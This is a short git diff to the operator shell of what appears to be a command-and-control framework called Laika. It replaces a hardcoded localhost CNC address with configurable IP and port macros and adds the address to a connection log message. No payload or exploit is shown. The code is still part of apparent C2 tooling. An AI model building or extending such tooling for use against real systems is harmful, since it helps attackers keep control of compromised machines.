diff --git a/shell/src/main.c b/shell/src/main.c
index 4e06fe3..64e64da 100644
--- a/shell/src/main.c
+++ b/shell/src/main.c
@@ -58,7 +58,7 @@ int main(int argv, char *argc[]) {
     if (!loadConfig(&client, configFile))
         return 1;
 
-    shellC_connectToCNC(&client, "127.0.0.1", "13337");
+    shellC_connectToCNC(&client, LAIKA_CNC_IP, LAIKA_CNC_PORT);
 
     shellT_conioTerm();
     while(laikaS_isAlive((&client.peer->sock))) {
diff --git a/shell/src/sclient.c b/shell/src/sclient.c
index 7a7699c..9d7828c 100644
--- a/shell/src/sclient.c
+++ b/shell/src/sclient.c
@@ -198,7 +198,7 @@ void shellC_cleanup(tShell_client *client) {
 void shellC_connectToCNC(tShell_client *client, char *ip, char *port) {
     struct sLaika_socket *sock = &client->peer->sock;
 
-    PRINTINFO("Connecting to CNC...\n");
+    PRINTINFO("Connecting to %s:%s...\n", ip, port);
 
     /* create encryption keys */
     if (crypto_kx_client_session_keys(client->peer->inKey, client->peer->outKey, client->pub, client->priv, client->peer->peerPub) != 0)